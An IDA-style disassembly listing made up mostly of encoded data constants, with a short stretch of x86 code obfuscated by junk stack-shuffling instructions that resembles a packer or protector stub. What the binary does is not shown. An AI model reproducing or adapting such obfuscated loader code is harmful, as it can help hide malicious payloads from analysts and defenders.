		dd 797DB185h, 0E312572Ah, 0D4FAED9Dh, 7DC22B94h, 0FBC4571Fh
		dd 0AE178855h, 54FAC2A2h, 5629AC87h, 3B80E98Fh,	0E3FC030Ch
		dd 0CDE54ECAh, 984454B9h, 3A001EF3h, 4200000Ah,	0EACAD67Ch
		dd 8D6D791Fh, 31111DC3h, 0D2B2BE64h, 55576309h,	8F35FE53h
		dd 36DCA383h, 0D87E4A2Ah, 7E24ECCCh, 0DF0EDB72h, 0D4FB65A1h
		dd 75458590h, 0DC3A07ADh, 43A16E14h, 0A907D47Ah, 0DE844EE1h
		dd 5AC0A875h, 96FCE4EAh, 0CD733BAEh, 6414C88h, 1D9BE03Eh
		dd 0F645AE54h, 0EDB513E2h, 0BA097A47h, 16B03254h, 11DE9B0h
		dd 75270000h, 0DC3A07ADh, 5626E14h, 28579CD0h, 0D1383CA3h
		dd 497845AEh, 0D502042Bh, 827DE755h, 0B65B22E0h, 4617h
		dd 494D000h, 768F1FBCh,	86642C7Bh, 6BBA6028h, 0E2274590h
		dd 3820D0B3h, 3B0871D1h, 1EC490EEh, 4FDB1551h, 0CFE93F68h
		dd 0A2481066h, 0E61564D5h, 0D501598Eh, 2EC084F2h, 116006D0h
		dd 5B859BABh, 8B40B6h, 757E0000h, 0DC3A07ADh, 42A06D13h
		dd 0A907D47Ah, 602F3BE1h, 209CE413h, 2C95DB4Fh,	4BCDAEDDh
		dd 11D9DB4Fh, 32905F6Bh, 9570BF65h, 0B8E72C40h,	0D13FAB4Ah
		dd 0EC397EE7h, 4210709Fh, 0B821D4FFh, 9C420B69h, 41E7B090h
		dd 0AACA9F29h, 52704592h, 911h,	0F3FFA56Bh, 96A24813h
		dd 3A46ECB6h, 0DBE78D5Ah, 808C32FBh, 5C256A7Eh,	3CAAAB6h
		dd 0A571515Dh, 4B13F3FFh, 350299A5h, 0FB647A06h, 6CACB7D4h
		dd 0FA06AC75h, 0A0AC521Ah, 7AD7556h, 0A6B1ED3Ah, 194A7DBCh
		dd 8F57B504h, 0ABA2DE0Dh, 5B8FDB4Eh, 5851022Eh,	0E049B2A6h
		dd 29134D4h, 86EA0000h,	66B55B28h, 0DD224A8Bh, 3824BDAEh
		dd 36FE54D1h, 0E952C390h, 6EBB68A4h, 75A77568h,	0E0AD531Fh
		dd 1C4B206Fh, 0D5021958h, 4F8ABA28h, 0B65B4537h, 0FD83B2FFh
		dd 34D50225h, 36147CCBh, 52000002h, 4F20D9A4h, 0E78550DBh
		dd 0D17744A2h, 21235D8Ch, 0A50EDB4Fh, 4CDA0956h, 0B5D123D5h
		dd 0E233181h, 77E0D20Eh, 9B0CD432h, 0AE7BA282h,	6AF1D408h
		dd 4E4F059h, 7CC9963Ch,	0FB80002Fh, 48B1D4FBh, 0B8852BF2h
		dd 0B81DF847h, 0CF406FB4h, 82CAE509h, 26F90119h, 3E139845h
		dd 81420h, 0FCA26800h, 9F4510F0h, 43E9B393h, 0E48A5737h
		dd 892FF8D8h, 24757B7Dh, 0C9A9B55Bh, 70505C02h,	12F2FEA4h
		dd 198A44Ah, 637B0534h,	0ABB6D4FBh, 1AAD756Bh, 713EA74Dh
		dd 0D8A54B13h, 1FC282E8h, 0BDA5B157h, 0B01642A5h, 18C52h
		dd 0AD759000h, 4675C207h, 0DB4F203Ah, 20324E7Dh, 96FFDB4Fh
		dd 3E1362CBh, 667218E0h, 5BA0CC09h, 383C9F2Ch, 0BCEB38D1h
		dd 0D50204C4h, 0E2B5046Dh, 19444AAEh, 80B5D68Eh, 0C156DF1Ah
		dd 35026BD4h, 1316E06h,	0A0A412D5h, 5BD12D35h, 57CAB6h
		dd 0F8080000h, 0EC4A8FDDh, 50AE7B21h, 0A213E086h, 6E9DEA39h
		dd 0D1382115h, 207EC32Ch, 6FE0AD53h, 0A0FE4B20h, 0B2E130D6h
		dd 0D50220C2h, 966309D4h, 0FDCA7038h, 142DD39Fh, 52BE3430h
		dd 90B4C703h, 6AF5E4AFh, 45E7FE36h, 348330CBh, 0C1619CC8h
		dd 0F6B65B3Ah, 0B6h, 7AD7534h, 6D13DC3Ah, 0D47A42A0h, 3BE1A907h
		dd 67AA9F6h, 2BDB4F21h,	20C9B7E6h, 0FF68DB4Fh, 82334796h
		dd 0DB4F7309h, 434FF5BDh, 387DEFE6h, 3F83F909h,	0C182BED1h
		dd 4A2DA2F3h, 96FFD221h, 8FC80451h, 50E794F2h, 0E5D21347h
		dd 930E7B6Dh, 771DE644h, 64609C6Bh, 11BBFF74h, 0F9C2206Fh
		dd 68B93B53h, 6E4392B5h, 6B450h, 5C02C800h, 0FFA57050h
		dd 0A34913F3h, 44EAB797h, 0E98F5838h, 84D5DBDDh, 290915BBh
		dd 0D0B0BC62h, 72525E04h, 61F804AAh, 621B6594h,	0B16D4FBh
		dd 2AAC75CBh, 4F2085FBh, 0FE43ACDBh, 4F20B1CFh,	0AE1780DBh
		dd 54FAC2A2h, 0AD75FE48h, 0EFBB4E1Ah, 0A213E049h, 0CA96F439h
		dd 60C96F37h, 16DE3C11h, 37956470h, 9FFDCA70h, 74C32CD2h
		dd 2256h, 62298700h, 2F7EEFBCh,	7AD7567h, 6E14DC3Ah, 87BD2BA1h
		dd 0A54B1775h, 8A30F856h, 25DE7Eh, 75940000h, 0B3A07ADh
		dd 0DB4F2068h, 0EFBC622Eh, 5623C991h, 8CB2F31Ah, 96A58C65h
		dd 3534BAAAh, 20E81B49h, 86246E7Ah, 20760A39h, 52BBDB4Fh
		dd 37DDA503h, 26468F6Ah, 0D542B2E1h, 765D123h, 784B9A40h
		dd 4CB55B22h, 955CBA07h, 62B122EFh, 8A963C04h, 0ED935DBBh
		dd 260AF20h, 7AC7943Ah,	6D82FE2Dh, 46AFD4FBh, 0B3B91CF7h
		dd 20143F6Eh, 64CDCAD0h, 0DDA3D21Fh, 54CEA7BAh,	977A6EBh
		dd 28CEA7BBh, 0D62370BFh, 3A07AD78h, 0A14095C9h, 6340E7DFh
		dd 5BEEB614h, 0D21FEC92h, 0A7BADDA3h, 82EB54CEh, 0AA98D419h
		dd 6BB1B5F1h, 2DFAA06Ch, 0F00453BCh, 5DA24810h,	0EC94C310h
		dd 45CEA804h, 4CBB5DCh,	0FD66CEA8h, 0D7FED9AEh,	7AF18CAh
		dd 0C48B87B2h, 77E0511Eh, 0ED9AC90Eh, 54C49143h, 30E7D3EBh
		dd 0FCD18611h, 538DEh, 0D87E4400h, 7B21ECCCh, 1FC58F6Fh
		dd 0C0663313h, 650BD4B4h, 515759h, 0A5859137h, 4C2C38DEh
		dd 0EECEDA80h, 0DD748026h, 609FE110h, 8792D4FBh, 7AD7547h
		dd 0AD531BFBh, 14BA82E0h, 0B2105747h, 85F140E6h, 14DF3DDFh
		dd 0E130A16Eh, 0D015BB83h, 0B302A872h, 42AFB79Fh, 2B67B016h
		dd 0A251F00Eh, 0B51D6C07h, 60h,	0C4DDF8F3h, 45E5937Ah
		dd 5180C537h, 0DB4EC92Fh, 0EB309902h, 3816A3BCh, 0A0E54ED1h
		dd 992CF553h, 0F0BD26CCh, 6D2307Fh, 9FCE1B60h, 0D5017AE1h
		dd 8498E750h, 0E88E57B5h, 7B186A99h, 0C68ED501h, 5F8EDB20h
		dd 0D5017B21h, 4458A710h, 25F29864h, 47C07h, 0BCEB3800h
		dd 0D5017AC4h, 0EDB5046Dh, 0C207AD75h, 203A4675h, 0A1F7DB4Fh
		dd 0F66734DAh, 0B693E8Dh, 0FA589D43h, 6B33892Fh, 3887F8C5h
		dd 710EC724h, 0E2AD03A9h, 5F8ED33Ch, 0D1383D6Ch, 80AF7CE5h
		dd 0D50205F4h, 0BB261E8Ch, 0B65B25ABh, 4F50h, 0DDF88E00h
		dd 0B0FD4A8Fh, 4F20FF81h, 73C932DBh, 0C33401A7h, 203E4574h
		dd 9A03D138h, 1FD69ECDh, 3CAAD502h, 0BF88E608h,	8CDB4C19h
		dd 5B431C26h, 0B59AD6B6h, 0F28EBD19h, 3FD502ABh, 4A53A2D6h
		dd 0BAB4CCFBh, 147DD502h, 1F45CABh, 32000001h, 3A07AD75h
		dd 1FC58FEDh, 3492E152h, 4480C56Bh, 0BDBB6FC8h,	4D227193h
		dd 0CA9427EFh, 6006CE24h, 0ECB92293h, 6C33C68Eh, 0A0515DC6h
		dd 0DB4E2FCBh, 587F90CCh, 3027FA04h, 1C6B11DAh,	4450F6BEh
		dd 87F92875h, 0AADB4EA2h, 0CC94F241h, 577E5926h, 0AA72D015h
		dd 3968B504h, 0D137D466h, 0F768358Bh, 1AF7CA2Ch, 5EC7300Fh
		dd 9FE0F552h, 176431D7h, 1A798E8h, 0C73099D5h, 32FFA571h
		dd 0E41358C1h, 0CAF26014h, 15FA40Dh, 0EF4D9238h, 1E328127h
		dd 0B7CF753Eh, 98782401h, 3EB8D6ABh, 3E000003h,	0E6C6D278h
		dd 8969751Bh, 2D0D19BFh, 0CEAEBA60h, 51535F05h,	8B31FA5Fh
		dd 32D89F7Fh, 0D47A4626h, 7A20E8C8h, 0DB0AD76Eh, 0D4FB5EA5h
		dd 8641818Ch, 20760A39h, 52BBDB4Fh, 36DCA503h, 2857A4F1h
		dd 0DB4F2058h, 374970D9h, 0FADB4F20h, 5F2E4291h, 9203F123h
		dd 0D9A364BEh, 1D7BCA33h, 59A3AF55h, 0C95C2886h, 0A3F25B01h
		dd 25830DC8h, 79EAB75Dh, 4F202E52h, 43269ADBh, 200EEE3Dh
		dd 3E83EC55h, 3789740Fh, 9764CDD1h, 7E24EC4Ah, 8974002Fh
		dd 0BD0CD501h, 0E413955Fh, 0D501899Ch, 74C32C95h, 81A15C08h
		dd 36B65BD5h, 0DAh, 656EB3EFh, 5205B8B1h, 28863B03h, 0E6CBB61h
		dd 42E8B346h, 0A74D1775h, 970069DAh, 0FDA36CCAh, 246A0130h
		dd 541CDB4Fh, 400B69AEh, 57374B9Ah, 0AE30FC8Fh,	4F1D017Fh
		dd 5EC730DBh, 72B72091h, 1C8AF625h, 3EA7DB4Fh, 91CD1AEFh
		dd 25A3C89Ch, 0B5E4299Dh, 0DB4E35CBh, 0D3AEFD66h, 0F6256A02h
		dd 0D13767A9h, 76D3DF48h, 99C80D5Fh, 0CAF1B97Eh, 57B5FA63h
		dd 0FCDCE88Eh, 5D758D33h, 5F9878C4h, 20B6C8Ah, 0AB710000h
		dd 4E19F905h, 0F2BC9CA8h, 9360404Ch, 3801E1EDh,	6C848692h
		dd 0B0BC622Bh, 576309D0h, 0F905AB77h, 9FAB5119h, 740C3B08h
		dd 0BDD4FB5Dh, 0AC7572B2h, 2785C106h, 0A4DC0B14h, 8DDB4E86h
		dd 6DF5F024h, 0D2B2C615h, 0D21F640Ah, 4F08DDA3h, 9CEB54DBh
		dd 0AD753E88h, 0A0ED3A07h, 4F210F71h, 79EE22DBh, 0A85CCA20h
		dd 98F645AEh, 611F4ED0h, 67DB4E22h, 2604A05Bh, 0B019E430h
		dd 935B3B47h, 904520EDh, 1F6897DCh, 0A8D137D6h,	60B0236Ch
		dd 0F2413AC9h, 0C8E9B61Fh, 33D9A503h, 19CC78E4h, 0D498E051h
		dd 8223ACCBh, 25B00D19h, 79B50247h, 999C5AC7h, 35DBA4BAh
		dd 3F8EF768h, 0EA66F310h, 0AD76D4CAh, 7CE5B807h, 188951AFh
		dd 0DE64C6BFh, 2BF64C64h, 0DE47B885h, 0EE4C9B11h, 0C4307F25h
		dd 77F5E080h, 0FF9BF632h, 28AC22E4h, 97640AD2h,	3D8AD726h
		dd 1D6C12DFh, 9D4F15EEh, 8D54B2C4h, 5D4AB3E7h, 0B79A5715h
		dd 202C9568h, 0ABD50451h, 86C8662Ch, 0A870CE1Dh, 0BD73502h
		dd 93779865h, 16E13FD1h, 0FBC32170h, 0E9EC4955h, 780F3E83h
		dd 4FBE4F5Fh, 307F25F1h, 973D075Dh, 0ABF059CAh,	8CDB814Dh
		dd 0EB9159B7h, 62F5C01Eh, 0BC89F298h, 21EE945Eh, 0F5073DABh
		dd 18F9BAC6h, 0A50E77C2h, 4B7AC78Ch, 0C218F935h, 0D84493FCh
		dd 93D9FC6Ch, 2C681F4Eh, 70D9B802h, 9ECE0764h, 0A3DD0C59h
		dd 8EBBCBC6h, 5A89D625h, 0B1A07BA2h, 0C59268Fh,	7441E7AEh
		dd 0F18FBE03h, 40B57813h, 622A88D7h, 8D0B0BCh, 27669562h
		dd 87F5FAC8h, 0F0B82B19h, 0C4C9054Ah, 2ACFBBA5h, 8E5380B0h
		dd 9984B55Ah, 2B67364Ah, 0A486DFBDh, 46106687h,	2BF351A0h
		dd 8D5AB885h, 84BFCF0Bh, 5831B2C0h, 12A44F31h, 8BAEE275h
		dd 95B1D418h, 0FAC73099h, 9C4FF5D9h, 42222ED4h,	538FD47Ah
		dd 75080877h, 985FB5F7h, 65B425F2h, 37290h, 54280000h
		dd 9AF758Ch, 7016DE3Ch,	0D37945A3h, 3BE1A806h, 0A147106Eh
		dd 7AD76D4h, 690FDC3Ah,	0CE743E9Ch, 32D8A301h, 8953E865h
		dd 4C381E3h, 83000000h,	1C8704EBh, 0C895C24h, 534C6824h
		dd 0C890000h, 0E0895024h, 405h,	4E88300h, 5C240487h, 53240489h
		dd 59AABA52h, 0E2C13BA4h, 88EA8105h, 0C100CE11h, 0E2C108E2h
		dd 75EA8105h, 81690407h, 1F4464EAh, 5AD38935h, 685BD989h
		dd 661Ch, 83242489h, 58042404h,	8BA52h,	0EA810000h, 3AB82E06h
		dd 0C281C201h, 3AB82E06h, 0FF5A0A89h, 81582434h, 4C4h
		dd 2434FF00h, 4C48359h,	0F9B908E9h, 11A84CFFh, 0C02A3E08h
		dd 2CB866C6h, 30653C6h,	5BE0FFC5h, 0CC2E63D3h, 0C46E62A6h
		dd 1A0CC0D9h, 6462861Fh, 0B21F7423h, 59500A57h,	16206456h
		dd 797AF2B2h, 475121C2h, 0C64BE543h, 4D26E585h,	0DF685606h
		dd 0FFA9C530h, 4D0B29B5h, 0D7858D06h, 0FF065075h, 818D8DD0h
		dd 51064D2Bh, 0B5FF406Ah, 64D1B59h, 2F31B5FFh, 0D0FF064Dh
		dd 1B59B5FFh, 0B5FF064Dh, 64D2F31h, 0BE8h, 66E30400h, 201A48BCh
		dd 9EFF1E48h, 0E9835959h, 242CC104h, 2424C102h,	240C0302h
		dd 33241CF7h, 834FFC0h,	69F7815Fh, 8119D2E6h, 0F9489CEFh
		dd 41F7811Ch, 576D2ECCh, 8301048Fh, 3B4803E8h, 850F2404h
		dd 16h,	28E9h, 0CBD04F00h, 28D6D084h, 347129B9h, 0C4190BF1h
		dd 0BEE99E91h, 3DFFFFFFh, 6B2F4154h, 18481A60h,	0BCAADD85h
		dd 73C1712Ch, 0D99D8DA1h, 8B064D22h, 0FC00B03h,	784h, 8B038B00h
		dd 1889045Bh, 6E8C98Bh,	95000000h, 116048F2h, 8B6660F0h
		dd 0DE9F2h, 8AA70000h, 0E2C4542Ah, 8C610727h, 61775DC3h
		dd 0FEB70F5Bh, 5F09C381h, 8B560000h, 0FBB95FFBh, 811217B5h
		dd 0E8619CC1h, 33FFFCEDh, 81D78B5Eh, 50AAD1F6h,	0E1EE812Ah
		dd 8B1FE3EDh, 80F681FAh, 0F64A5BCh, 0F56D0B7h, 38FF8B7h
		dd 0EB83D08Bh, 4BF88B03h, 49FE8B66h, 1C850Fh, 9E90000h
		dd 0AA000000h, 0D888B24Dh, 0B8DE740Fh, 33E9h, 0CB39ED00h
		dd 39444B1Fh, 10E9C61Ch, 19000000h, 1B037074h, 0C77FF495h
		dd 700F141Ch, 0E99DCD94h, 0FFFFFF96h, 3A5081D4h, 807909ECh
		dd 0FDCD74D4h, 0EA8B5DEFh, 8EBh, 0CBC00000h, 0AFE91F04h
		dd 68000004h, 653C993h,	0F9B730E9h, 0CA0E68FFh,	26E90653h
		dd 68FFF9B7h, 653CB73h,	0F9B71CE9h, 0B0561CFFh,	53F9C4A4h
		dd 0F79D6747h, 983E0BEBh, 3DE3AC8Ch, 0D8B92F31h, 7D5D690Fh
		dd 240410B6h, 0C6A6B258h, 0B54C58FEh, 58C7B9E8h, 5F6AD4FBh
		dd 6AC751Fh, 6D13DB39h,	5C02CA28h, 0BBCF1E8Fh, 0B0F5775Eh
		dd 0D7068852h, 0DB4F20A9h, 0E9B61F88h, 0ADDC2978h, 0D1382D5Eh
		dd 8EBD8AF3h, 0D50215E6h, 0D6382C9Ah, 511EB178h, 46DDEABh
		dd 1177C637h, 0B65B4971h, 0F09663C1h, 0FB63B223h, 2E5h
		dd 0FA8D56B4h, 4ABB882Eh, 0F2CA92E1h, 6DFFD6C5h, 4766F928h
		dd 228BD138h, 613AB1DAh, 6CFD884h, 31F22166h, 56CD85A9h
		dd 276C3A1Ah, 2082B65Ch, 0A87BCAB5h, 3E97723Fh,	0C4BAE92Eh
		dd 6DC73866h, 3672BF04h, 53E55E5h, 7CDA29E5h, 7CC90EB4h
		dd 155334Dh, 0A673CBh, 8EF7C233h, 834B2B3Fh, 0E299C5DDh
		dd 6E4384A8h, 2FC50h, 9C420800h, 3FE5B090h, 0E3895333h
		dd 842AF7D7h, 29CF9878h, 0C4951B1Dh, 694955FBh,	10F0FCA2h
		dd 0B2929E44h, 0A13844EAh, 57DBA5D4h, 4B56D4FBh, 0A39860Bh
		dd 0DB4F2076h, 280352BBh, 6006D2ADh, 7583B2F7h,	0ACD123EAh
		dd 58483867h, 93E9D4FBh, 4FB821C7h, 50E3AC0Ah, 0ADD30284h
		dd 84D4FB58h, 3D49B21Bh, 21EE945Dh, 0FB5883F2h,	0A54B13D4h
		dd 0B6E1AB8Dh, 0E2C0192h, 281h,	0B17BD83h, 0AEBA602Bh
		dd 525E04CEh, 0F3FFA572h, 98A44A13h, 743D1296h,	1BE2C2CEh
		dd 0BD896975h, 632B0B17h, 4D1AB1BDh, 0FB56621Eh, 84C4CFD4h
		dd 4A8FDDF8h, 0A2C0C1FDh, 3470B69Fh, 0AB42B6E5h, 76DFD123h
		dd 640AD331h, 63114015h, 1DD4FB19h, 384AB5AFh, 0DFB64239h
		dd 1A1h, 6128861Dh, 911DCEF0h, 5FC82A66h, 74D22192h, 0DB3906ACh
		dd 92616D13h, 0AD6C9656h, 0DD2CE622h, 5499D302h, 379CA625h
		dd 0FD42ABD1h, 64FF81B0h, 0DC32D501h, 0BD026B11h, 164F28Eh
		dd 87D63FD5h, 64F183B2h, 408FD501h, 64BCC4F3h, 0C75D501h
		dd 0E81351BDh, 0B65B825Eh, 4E7Dh, 0BAE93600h, 0D5016CC6h
		dd 0EBB3026Bh, 4A8FDDF8h, 3820681Bh, 0B4125FD1h, 602047EDh
		dd 46D50220h, 0A20BD67Ch, 0D2178053h, 3603A974h, 2F5180C5h
		dd 2D50220h, 46754A99h,	0D5021F2Eh, 7560E452h, 0B65B43EDh
		dd 58FEC725h, 98A109h, 75DF0000h, 0ED3A07ADh, 1A9245B1h
		dd 0E83741D3h, 0D61BC18Ah, 3805AB78h, 45A378C7h, 0BD0AD77Dh
		dd 1FEC925Fh, 39015FAEh, 80D68793h, 0D6DB4EB9h,	0FF5C680Eh
		dd 45196D6h, 6A37DDA6h,	0AFAED2F9h, 1A83DB4Eh, 0B34F7ECBh
		dd 7ED13F64h, 0A972D015h, 4E17F703h, 0FB690A8h,	25FA92B5h
		dd 11C07h, 7C22E800h, 1FC59070h, 0C3693313h, 640AD7B7h
		dd 9AF7858h, 0A4F5FBFDh, 492935DBh, 0F0D0DC82h,	92727E24h
		dd 811824CAh, 55FB85B4h, 2B36D4FBh, 6AC75EBh, 0AC521AFAh
		dd 0AD7556A0h, 8FED3A07h, 75421C7h, 4F20A8D8h, 0B72089DBh
		dd 9C420A68h, 0CAA23390h, 0B65C2785h, 0DC2978E9h, 0BE64318Fh
		dd 0A9F89E68h, 386EE57Ah, 5EA30CD1h, 85913700h,	0E68C58B6h
		dd 2A59A819h, 0D501D24Ah, 0D2DE844Ch, 0B68329F2h, 93ED1C69h
		dd 9ED501D2h, 8AC8E635h, 0F9000000h, 0DC2BD19Bh, 8FDDF814h
		dd 0D49FFD4Ah, 58E22763h, 58C12969h, 9CCB1A8Bh,	0D1238358h
		dd 8228F14Fh, 2AF76033h, 525E04CCh, 3704AA72h, 0D1F89B08h
		dd 6C12DB1Bh, 0CF75419Fh, 45FFEB02h, 0B1B3218Fh, 9DE3125Fh
		dd 94BBA3EAh, 0B8978B60h, 0B41DE0EDh, 5B40406Fh, 88F1BBA3h
		dd 6D13DB39h, 13B98161h, 75BDF946h, 4EDACA9Eh, 4EF4BE14h
		dd 41D4A1FFh, 9102CF75h, 563A5B28h, 8D33FBEEh, 33D9A181h
		dd 34866h, 54FE0000h, 9AF758Ch,	7016DE3Ch, 0D37945A3h
		dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch
		dd 32D8A301h
		db 65h,	0E8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	172Ah
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		push	edx
		mov	edx, 653C8A7h
		mov	ecx, edx
		pop	edx
		mov	ebp, ecx
		pop	ecx
		push	5BD9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 8
		add	ebx, edi
		mov	[ebx], ebp
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dw 1C8Dh
		dd 0B4B892DAh, 30653CCh, 80E0FFC5h, 0B0793838h,	0C634F509h
		dd 0D651D68Fh, 167EEC1Dh, 286FEAEDh, 0F9511A93h, 0C26F0D48h
		dd 9627F546h, 422B75A9h, 8F683079h, 0F1ABD30h, 0E8598F89h
		dd 7, 627FBDCh,	5B300955h, 3830Fh, 8B660000h, 0F8C381D7h
		dd 0F00005Ch, 168Bh, 11E900h, 0C0D40000h, 3D65FCC0h, 995766CCh
		dd 483CA71Ah, 33B6DF9Ah, 0C78B66C9h, 810B3C8Bh,	564AFF7h
		dd 3820F31h, 80000000h,	0EF8111EEh, 681D7197h, 0AE9h, 1170B200h
		dd 998D13E0h, 81169B10h, 0C91F81C7h, 0AE86Dh, 0DD5F0000h
		dd 2B2286CCh, 0B8FF28ECh, 3C895AFCh, 0BA66F80Bh, 0E9837567h
		dd 94F98104h, 0FFFFFA3h, 0FFFFAB85h, 30F080FFh,	0CF2A8D8Dh
		dd 6A0653h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0A6F02FC3h, 0D92CE4DAh, 61FC6052h, 998D895Eh
		dd 6A064D05h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 57FC357h, 44CDC5F9h, 0C7F08B4Bh
		dd 4D051D85h, 707006h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 870F5AB4h, 13h, 0EE9h
		dd 0A8F05100h, 0A2C50CD5h, 39F9C137h, 607143FFh, 850FFE8Ah
		dd 6, 33D6C181h, 0C7611536h, 4D02E985h,	6, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 771AC9B5h, 0D08AAA0Eh, 0D019589h, 0B5FF064Dh, 64D3171h
		dd 5E860h, 71E0000h, 0E9CEFEBEh, 13h, 0E339951Eh, 0E1862D45h
		dd 93A978AFh, 0AE1D93FAh, 5B0ABFD2h, 5E8h, 73535700h, 58F9AB9Bh
		dd 5595FF61h, 89064D2Eh, 4D28F585h, 0FF006A06h,	4D051195h
		dd 0EBC08B06h, 6084DB1Dh, 575E6BBDh, 5138C841h,	9B0BAB81h
		dd 0FA0D4583h, 873B824Dh, 41C50563h, 11E88EAEh,	0BA000000h
		dd 7B39BDCEh, 0B2D496FCh, 42772EE9h, 0AA3D23E6h, 0B198D89h
		dd 8958064Dh, 4D15F99Dh, 0E7C08106h, 0B000067h,	4D0B59BDh
		dd 66D23306h, 8BBC29B9h, 8B661034h, 8EEE81DEh, 0E85CDC66h
		dd 0Fh,	85A7E9DDh, 20E95C42h, 99C0C341h, 0E979D0CDh, 0Bh
		dd 0D0DE1CB1h, 3C77D8E0h, 5F1CD538h, 1D3EEE81h,	0E953704Fh
		dd 0Ch,	30B393D0h, 3798C8A1h, 2CE81997h, 50F68159h, 0E8657563h
		dd 10h,	9059D4D3h, 37452D8Ah, 0ED67993Ah, 0AC10346Ah, 2815BD09h
		dd 565B064Dh, 0EE8h, 0A7B25200h, 0CB1E7C84h, 0BD35411Ah
		dd 0E97D32AEh, 9, 0C0A64601h, 0D424BC62h, 48F5B78h, 0E5958910h
		dd 83064D29h, 9D8B04EAh, 64D301Dh, 98F8FA81h, 850FFFFFh
		dd 0FFFFFF53h, 4D99D8Bh, 0EE8064Dh, 52000000h, 0FB828D52h
		dd 0FEFBF5Dh, 0B3588525h, 16052E7h, 4D0A45BDh, 0E18D2B06h
		dd 61064D0Ch, 0E4805B59h, 65C38163h, 60000060h,	8B8CC480h
		dd 4D2D1DB5h, 0E4BA6106h, 8B000017h, 4D07498Dh,	8B33FF06h
		dd 4D149D8Dh, 85895F06h, 64D2725h, 0A731EF81h, 0CE96B1Bh
		dd 0F9000000h, 6929C187h, 6D712079h, 8196E813h,	88C6EAF7h
		dd 0DFC78119h, 604F7C68h, 10951AB9h, 91958954h,	61064D0Eh
		dd 81F93B89h, 284738EBh, 198D2951h, 81064D05h, 284734C3h
		dd 0C18B6651h, 1EA81h, 850F0000h, 19h, 0E9F08B66h, 30h
		dd 3351DA35h, 3060A158h, 5D971B4h, 4DDA7953h, 56E981E2h
		dd 0E91FD8BCh, 0FFFFFF79h, 806B0F15h, 716A58D6h, 4733C637h
		dd 63FC1642h, 0E30EEEA8h, 0AE8h, 0A4192B00h, 46676C82h
		dd 0B2EF93Ch, 4D0BA595h, 0BD8B5906h, 64D0DB1h, 5FECC181h
		dd 0B70F0000h, 2BC033D0h, 4D1AAD95h, 834FF06h, 11F98531h
		dd 8B5E064Dh, 4D163995h, 0A9EE8106h, 8B56A0E6h,	4D29A19Dh
		dd 75C68106h, 8A5636E1h, 7EC681F1h, 33256906h, 4D06B59Dh
		dd 0BD8B5606h, 64D2211h, 8B01048Fh, 4D0F05BDh, 3E88306h
		dd 29159D8Bh, 8148064Dh, 0FFA094F8h, 0AA850FFFh, 31FFFFFFh
		dd 4D2D299Dh, 83C08B06h, 4D1BD9BDh, 9750006h, 11BD83h
		dd 7400064Dh, 8B535019h, 421B8C0h, 85890000h, 64D2575h
		dd 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h, 50177400h
		dd 421B853h, 85890000h,	64D2575h, 0B4049D8Dh, 0D3FF064Fh
		dd 0C08B585Bh, 2A119D8Bh, 85C6064Dh, 64D26E5h, 0B8526856h
		dd 0B5FF9CA8h, 64D0B29h, 75D7858Dh, 0D0FF0650h,	68046Ah
		dd 0FF000010h, 4D278DB5h, 0FF006A06h, 0FC085D0h, 0D85h
		dd 0B800h, 8D8D0000h, 64D740Eh,	0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 4D22D9BDh, 840F0006h
		dd 0Eh,	22D99D8Bh, 858B064Dh, 64D213Dh,	52510389h, 4250858Dh
		dd 0D0FF064Dh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 64D26E5h
		dd 6D396856h, 0B5FFD41Fh, 64D0B29h, 75D7858Dh, 0D0FF0650h
		dd 800068h, 52006A00h, 0C08BD0FFh, 1BD9BD83h, 7500064Dh
		dd 11BD8309h, 64D00h, 53501974h, 21B8C08Bh, 89000004h
		dd 4D31A585h, 7C9D8D06h, 0FF064FB7h, 83585BD3h,	4D0011BDh
		dd 17740006h, 21B85350h, 89000004h, 4D31A585h, 1D9D8D06h
		dd 0FF064FB4h, 8B585BD3h, 0D99D8DC0h, 8B064D22h, 0FC00B03h
		dd 784h, 8B038B00h, 1889045Bh, 4B41B8h,	2AE900h, 4C70000h
		dd 24h,	0E800h,	815D0000h, 53D310EDh, 24448B06h, 0A1858904h
		dd 0B8064D2Eh, 0
		dd 4DE58D8Dh, 0E1FF064Dh, 6754B8h, 3BE900h, 8B600000h
		dd 4D27D9BDh, 4EF8306h,	0C18BC933h, 0B88320BBh,	4C783EDh
		dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h
		dd 100F9h, 0D3820F00h, 61FFFFFFh, 55C88BC3h, 5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 0DF8FD49h, 235EFD20h, 379FFD20h
		dd 0BDFDFD20h, 78EFFD20h, 9AC5FD20h, 0EBA2FD20h, 5383FD20h
		dd 0E7EFD20h, 20A5FD20h, 3472FD20h, 0BFD7FD20h,	7930FD20h
		dd 9B11FD20h, 0EAF2FD20h, 51BEFD20h, 0D02FD20h,	259DFD20h
		dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh,	2775FD7Ah
		dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh
		dd 0BC75FC7Bh, 5E75FD7Ah, 5276FD7Ah, 3A75A72Ch,	0CB75A72Ch
